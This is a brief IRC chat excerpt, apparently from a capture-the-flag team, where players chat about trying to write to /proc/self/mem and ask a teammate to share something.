[01:34] <abuss> I was reading all the /proc/self/ stuff but only tried to write to mem
[01:34] <+tylerni7> [pwn]Idolf: just share it with us then ;)
[01:34] <@mserrano> with last year and this year